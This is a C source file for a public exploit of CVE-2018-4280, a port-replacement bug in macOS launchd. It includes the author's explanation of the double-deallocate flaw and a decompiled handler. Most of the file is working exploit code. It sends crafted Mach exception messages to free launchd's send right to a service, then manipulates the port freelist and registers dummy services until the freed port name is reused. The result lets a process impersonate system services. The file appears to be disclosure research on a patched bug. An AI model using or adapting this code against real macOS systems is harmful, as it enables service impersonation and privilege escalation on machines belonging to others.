README.md
Rendering markdown...
/*
* launchd-portrep
* Brandon Azad
*
* CVE-2018-4280
*
*
* launchd-portrep
* ================================================================================================
*
* launchd-portrep is an exploit for a port replacement vulnerability in launchd, the initial
* userspace process and service management daemon on macOS. By sending a crafted Mach message to
* the bootstrap port, launchd can be coerced into deallocating its send right for any Mach port
* to which the attacker also has a send right. This allows an attacker to impersonate any launchd
* service it can look up to the rest of the system.
*
*
* The vulnerability
* ------------------------------------------------------------------------------------------------
*
* Launchd multiplexes multiple different Mach message handlers over its main port, including a
* MIG handler for exception messages. If a process sends a mach_exception_raise or
* mach_exception_raise_state_identity message to its own bootstrap port, launchd will receive and
* process that message as a host-level exception.
*
* Unfortunately, launchd's handling of these messages is buggy. If the exception type is
* EXC_CRASH, then launchd will deallocate the thread and task ports sent in the message and then
* return KERN_FAILURE from the service routine, causing the MIG system to deallocate the thread
* and task ports again. (The assumption is that if a service routine returns success, then it has
* taken ownership of all resources in the Mach message, while if the service routine returns an
* error, then it has taken ownership of none of the resources.)
*
* Here is the code from launchd's service routine for mach_exception_raise messages, decompiled
* using IDA/Hex-Rays and lightly edited for readability:
*
* kern_return_t __fastcall
* catch_mach_exception_raise( // (a) The service routine is
* mach_port_t exception_port, // called with values directly
* mach_port_t thread, // from the Mach message
* mach_port_t task, // sent by the client. The
* unsigned int exception, // thread and task ports could
* mach_exception_data_t code, // be arbitrary send rights.
* unsigned int codeCnt)
* {
* kern_return_t kr; // eax@1 MAPDST
* kern_return_t result; // eax@10
* int pid; // [rsp+14h] [rbp-43Ch]@1
* char codes_str[1024]; // [rsp+20h] [rbp-430h]@5
* __int64 __stack_guard; // [rsp+420h] [rbp-30h]@1
*
* __stack_guard = *__stack_chk_guard_ptr;
* pid = -1;
* kr = pid_for_task(task, &pid);
* if ( kr )
* {
* _os_assumes_log(kr);
* _os_avoid_tail_call();
* }
* if ( codeCnt )
* {
* do
* {
* __snprintf_chk(codes_str, 0x400uLL, 0, 0x400uLL, "0x%llx", *code);
* ++code;
* --codeCnt;
* }
* while ( codeCnt );
* }
* launchd_log_2(
* 0LL,
* 3LL,
* "Host-level exception raised: pid = %d, thread = 0x%x, "
* "exception type = 0x%x, codes = { %s }",
* pid,
* thread,
* exception,
* codes_str);
* kr = deallocate_mach_port(thread); // (b) The "thread" port sent in
* if ( kr ) // the message is deallocated.
* {
* _os_assumes_log(kr);
* _os_avoid_tail_call();
* }
* kr = deallocate_mach_port(task); // (c) The "task" port sent in the
* if ( kr ) // message is deallocated.
* {
* _os_assumes_log(kr);
* _os_avoid_tail_call();
* }
* result = 0;
* if ( *__stack_chk_guard_ptr == __stack_guard )
* {
* LOBYTE(result) = exception == 10; // (d) If the exception type is 10
* result *= 5; // (EXC_CRASH), then an error
* } // KERN_FAILURE is returned.
* return result; // MIG will deallocate the
* } // ports again.
*
*
* This double-deallocate of the port names is problematic because a process can set any ports it
* wants as the task and thread ports in the exception message. Launchd performs no checks that
* the received send rights actually correspond to a thread and a task; the ports could, for
* example, be send rights to ports already in launchd's IPC space. Then the double-deallocate
* would actually cause launchd to drop a user reference on one of its own ports.
*
* This bug can be exploited to free launchd's send right to any Mach port to which the attacking
* process also has a send right. In particular, if the attacking process can look up a system
* service using launchd, then it can free launchd's send right to that service and then
* impersonate the service to the rest of the system. After that there are many different routes
* to gain system privileges.
*
*/
#include "launchd_portrep.h"
#include "log.h"
#include <assert.h>
#include <bootstrap.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
// ---- Freeing a Mach send right in launchd ------------------------------------------------------
bool
launchd_release_send_right_twice(mach_port_t send_right) {
// We will send a Mach message to launchd that triggers the
// mach_exception_raise_state_identity MIG handler in launchd. This MIG handler, which is
// exposed over the bootstrap port, improperly calls mach_port_deallocate() on the supplied
// task and thread ports, even when returning an error condition due to supplying exception
// 10 (EXC_CRASH). This leads to a double-deallocate of those ports.
const mach_port_t reply_port = mig_get_reply_port();
const uint32_t deallocate_ports_exception = EXC_CRASH;
const mach_msg_id_t mach_exception_raise_state_identity_id = 2407;
const kern_return_t RetCode_success = KERN_FAILURE;
const int32_t flavor = 6; // ARM_THREAD_STATE64
const uint32_t stateCnt = 144;
// The request message structure.
typedef struct __attribute__((packed)) {
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_port_descriptor_t thread;
mach_msg_port_descriptor_t task;
NDR_record_t NDR;
uint32_t exception;
uint32_t codeCnt;
int64_t code[2];
int32_t flavor;
uint32_t old_stateCnt;
uint32_t old_state[stateCnt];
} Request;
// The reply message structure.
typedef struct __attribute__((packed)) {
mach_msg_header_t hdr;
NDR_record_t NDR;
kern_return_t RetCode;
int32_t flavor;
mach_msg_type_number_t new_stateCnt;
uint32_t new_state[stateCnt];
mach_msg_trailer_t trailer;
} Reply;
// Create a buffer to hold the messages.
typedef union {
Request in;
Reply out;
} Message;
Message msg = {};
// Populate the message.
msg.in.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE, 0, MACH_MSGH_BITS_COMPLEX);
msg.in.hdr.msgh_size = sizeof(msg);
msg.in.hdr.msgh_remote_port = bootstrap_port;
msg.in.hdr.msgh_local_port = reply_port;
msg.in.hdr.msgh_id = mach_exception_raise_state_identity_id;
msg.in.body.msgh_descriptor_count = 2;
msg.in.thread.name = send_right;
msg.in.thread.disposition = MACH_MSG_TYPE_COPY_SEND;
msg.in.thread.type = MACH_MSG_PORT_DESCRIPTOR;
msg.in.task.name = send_right;
msg.in.task.disposition = MACH_MSG_TYPE_COPY_SEND;
msg.in.task.type = MACH_MSG_PORT_DESCRIPTOR;
msg.in.exception = deallocate_ports_exception;
msg.in.codeCnt = 2;
msg.in.code[0] = 0;
msg.in.code[1] = 0;
msg.in.flavor = flavor;
msg.in.old_stateCnt = stateCnt;
// Send the message to launchd. This will cause two of launchd's urefs on send_right to be
// released. Also, silence the "taking address of packed member" warning since it's
// incorrect here.
#pragma clang diagnostic push
#pragma clang diagnostic ignored "-Waddress-of-packed-member"
kern_return_t kr = mach_msg(&msg.in.hdr,
MACH_SEND_MSG | MACH_RCV_MSG,
msg.in.hdr.msgh_size,
sizeof(msg.out),
reply_port,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
#pragma clang diagnostic pop
if (kr != KERN_SUCCESS) {
ERROR("%s: %x", "mach_msg", kr);
return false;
}
// Check that the reply message suggests we're on the right track. Note that we can't check
// that launchd's uref count on the port has been successfully decremented; we can only
// check that we're executing the right code path in launchd. Thus, when the bug is
// patched, this will still return true.
if (msg.out.hdr.msgh_id != mach_exception_raise_state_identity_id + 100) {
ERROR("Unexpected message ID %x", msg.out.hdr.msgh_id);
return false;
}
if (msg.out.RetCode != RetCode_success) {
ERROR("Unexpected RetCode %x", msg.out.RetCode);
return false;
}
return true;
}
// ---- Replacing a service port in launchd -------------------------------------------------------
// Look up the specified service in launchd, returning the service port. We don't use
// launchd_lookup_service() because that will log and return an error if the port is
// MACH_PORT_DEAD, which we expect to happen during the exploit.
static mach_port_t
launchd_look_up(const char *service_name) {
mach_port_t service_port = MACH_PORT_NULL;
kern_return_t kr = bootstrap_look_up(bootstrap_port, service_name, &service_port);
if (service_port == MACH_PORT_NULL) {
ERROR("%s(%s): %u", "bootstrap_look_up", service_name, kr);
}
return service_port;
}
// Register a service with launchd.
static bool
launchd_register_service(const char *service_name, mach_port_t port) {
#pragma clang diagnostic push
#pragma clang diagnostic ignored "-Wdeprecated-declarations"
kern_return_t kr = bootstrap_register(bootstrap_port, (char *)service_name, port);
#pragma clang diagnostic pop
if (kr != KERN_SUCCESS) {
ERROR("Could not register %s: %u", service_name, kr);
return false;
}
return true;
}
// Fill the supplied array with newly allocated Mach ports. Each port name denotes a receive right
// and a single send right.
static void
fill_mach_port_array(mach_port_t *ports, size_t count) {
for (size_t i = 0; i < count; i++) {
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE,
&ports[i]);
assert(kr == KERN_SUCCESS);
kr = mach_port_insert_right(mach_task_self(), ports[i], ports[i],
MACH_MSG_TYPE_MAKE_SEND);
assert(kr == KERN_SUCCESS);
}
}
// Generate an array of Mach ports. Each port name denotes a receive right and a single send right.
static mach_port_t *
create_mach_port_array(size_t count) {
mach_port_t *ports = malloc(count * sizeof(*ports));
assert(ports != NULL);
fill_mach_port_array(ports, count);
return ports;
}
// Destroy the ports generated by reverse_mach_port_freelist_generate_ports().
static void
destroy_mach_port_array(mach_port_t *ports, size_t count) {
for (size_t i = 0; i < count; i++) {
mach_port_destroy(mach_task_self(), ports[i]);
}
free(ports);
}
// Try to reverse part of the Mach port freelist of a process by sending a large number of Mach
// ports.
static bool
reverse_mach_port_freelist(mach_port_t service, mach_port_t *ports, size_t count) {
// Our request message will just contain OOL ports.
typedef struct __attribute__((packed)) {
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_ool_ports_descriptor_t ool_ports;
} Request;
// Build the request message.
Request msg = {};
msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
msg.hdr.msgh_size = sizeof(msg);
msg.hdr.msgh_remote_port = service;
msg.hdr.msgh_id = 0x10000000;
msg.body.msgh_descriptor_count = 1;
msg.ool_ports.address = ports;
msg.ool_ports.count = count;
msg.ool_ports.deallocate = 0;
msg.ool_ports.disposition = MACH_MSG_TYPE_MAKE_SEND;
msg.ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
// Send the message.
#pragma clang diagnostic push
#pragma clang diagnostic ignored "-Waddress-of-packed-member"
kern_return_t kr = mach_msg(&msg.hdr,
MACH_SEND_MSG,
msg.hdr.msgh_size,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
// Check whether everything worked.
if (kr != KERN_SUCCESS) {
WARNING("%s: %x", "mach_msg", kr);
return false;
}
return true;
}
bool
launchd_replace_service_port(const char *service_name,
mach_port_t *real_service_port, mach_port_t *replacement_service_port) {
// Using the double-deallocate primitive above, we can cause launchd to deallocate its send
// right to one of the services that it vends (so long as we are allowed to look up that
// service). Then, by registering a large number of services, we can eventually get that
// Mach port name to be reused for one of our services. From that point on, when other
// programs look up the target service in launchd, launchd will send a send right to our
// fake service rather than the real one.
const size_t MAX_TRIES_TO_FREE = 100;
const size_t MAX_TRIES_TO_REUSE = 3000;
const size_t CONSECUTIVE_TRY_LIMIT = 500;
const size_t PORT_COUNT = 400;
const size_t FREE_PORT_COUNT = PORT_COUNT / 2;
// Look up the service.
mach_port_t real_service = launchd_look_up(service_name);
if (!MACH_PORT_VALID(real_service)) {
if (real_service == MACH_PORT_DEAD) {
// The service port has probably already been freed.
ERROR("launchd returned an invalid service port for %s", service_name);
}
return false;
}
DEBUG_TRACE(1, "%s: %s = 0x%x", __func__, service_name, real_service);
// Generate ports to reverse the first PORT_COUNT / 2 entries of the port freelist.
mach_port_t *ports = create_mach_port_array(FREE_PORT_COUNT);
// Repeatedly release references on the service until we free launchd's send right. We will
// immediately try reversing top of the freelist to bury the freed port and make it less
// likely it will be reused accidentally.
bool ok = true;
for (size_t try = 0; ok;) {
// Release launchd's send right to the service.
ok = launchd_release_send_right_twice(real_service);
if (!ok) {
break;
}
// Try to bury the just-freed port in the freelist. If it wasn't freed, then this
// harms nothing.
reverse_mach_port_freelist(bootstrap_port, ports, FREE_PORT_COUNT);
// Check whether launchd actually freed the port. If launchd returns a different
// port for the service, it was freed. Note that usually the lookup will return
// MACH_PORT_DEAD, but if the port was immediately reused, it's possible it will
// return another valid port.
mach_port_t freed_service = launchd_look_up(service_name);
if (MACH_PORT_VALID(freed_service)) {
mach_port_deallocate(mach_task_self(), freed_service);
}
if (freed_service != real_service) {
INFO("Freed launchd service port for %s", service_name);
DEBUG_TRACE(1, "real_service = 0x%x, freed_service = 0x%x",
real_service, freed_service);
break;
}
// Increase the try count.
try++;
if (try >= MAX_TRIES_TO_FREE) {
// This is where we'll end up when the vulnerability is patched.
ERROR("Could not free launchd service port for %s", service_name);
ok = false;
}
if (try % CONSECUTIVE_TRY_LIMIT == 0) {
sleep(2);
}
}
// Clean up the ports allocated earlier.
destroy_mach_port_array(ports, FREE_PORT_COUNT);
// If we failed to free the port, bail.
if (!ok) {
return false;
}
// Allocate an array to store our replacement ports. We will register services using these
// ports until one of them reuses the port name of the freed service port.
mach_port_t replacement_port = MACH_PORT_NULL;
ports = malloc(PORT_COUNT * sizeof(*ports));
assert(ports != NULL);
// Try a number of times to replace the freed port. It would be better if we could
// reliably wrap around the port, but it seems like that's not working for some reason.
DEBUG_TRACE(1, "%s: Trying to replace the freed port; this could take some time",
__func__);
unsigned pid = getpid();
for (size_t try = 0; ok && replacement_port == MACH_PORT_NULL;) {
// Allocate a bunch of ports that we will register with launchd.
fill_mach_port_array(ports, PORT_COUNT);
// Register a dummy service with launchd for each port. This is an easy way to get
// a persistent reference to the port in launchd's IPC space.
for (size_t i = 0; ok && i < PORT_COUNT; i++) {
char replacer_name[64];
snprintf(replacer_name, sizeof(replacer_name),
"launchd.replace.%u.%x.%zu.%zu",
pid, real_service, i, try);
ok = launchd_register_service(replacer_name, ports[i]);
}
// Now look up the service again and see if it's one of our ports. Any port that
// doesn't point to the service gets destroyed, which should unregister the
// corresponding service we created earlier with launchd.
mach_port_t new_service = launchd_look_up(service_name);
for (size_t i = 0; i < PORT_COUNT; i++) {
if (new_service == ports[i]) {
assert(replacement_port == MACH_PORT_NULL);
INFO("Replaced %s with replacer port 0x%x (index %zu) "
"after %zu %s",
service_name, ports[i], i, try,
(try == 1 ? "try" : "tries"));
replacement_port = ports[i];
} else {
mach_port_destroy(mach_task_self(), ports[i]);
}
}
// Check if we got back the original service. This happens when launchd owned both
// the send and receive rights because the service process hasn't actualy started
// up yet. We can't impersonate the real service until after that service claims
// the receive right from launchd via bootstrap_check_in(), leaving launchd with
// only the send right(s).
if (new_service == real_service) {
ERROR("%s: Original service restored in launchd!", __func__);
ok = false;
}
#if DEBUG_LEVEL(1)
// Check if we got something else entirely. This used to happen regularly, but now
// that we're pushing the freed port down the freelist it's not as common.
if (new_service != MACH_PORT_DEAD && replacement_port == MACH_PORT_NULL) {
DEBUG_TRACE(1, "%s: Got something unexpected! 0x%x", __func__,
new_service);
}
#endif
// Deallocate the new service port. If it's the replacement port we already have a
// ref on it, and if it's something else then we're not going to use it.
if (MACH_PORT_VALID(new_service)) {
mach_port_deallocate(mach_task_self(), new_service);
}
// Increment our try count if everything before succeeded.
if (ok) {
try++;
if (try >= MAX_TRIES_TO_REUSE) {
ERROR("Could not replace launchd's service port "
"for %s after %zu %s", service_name, try,
(try == 1 ? "try" : "tries"));
ok = false;
}
}
}
// Clean up the ports array.
free(ports);
// If we failed, bail.
if (!ok) {
return false;
}
// Set the output ports and return success.
*real_service_port = real_service;
*replacement_service_port = replacement_port;
return true;
}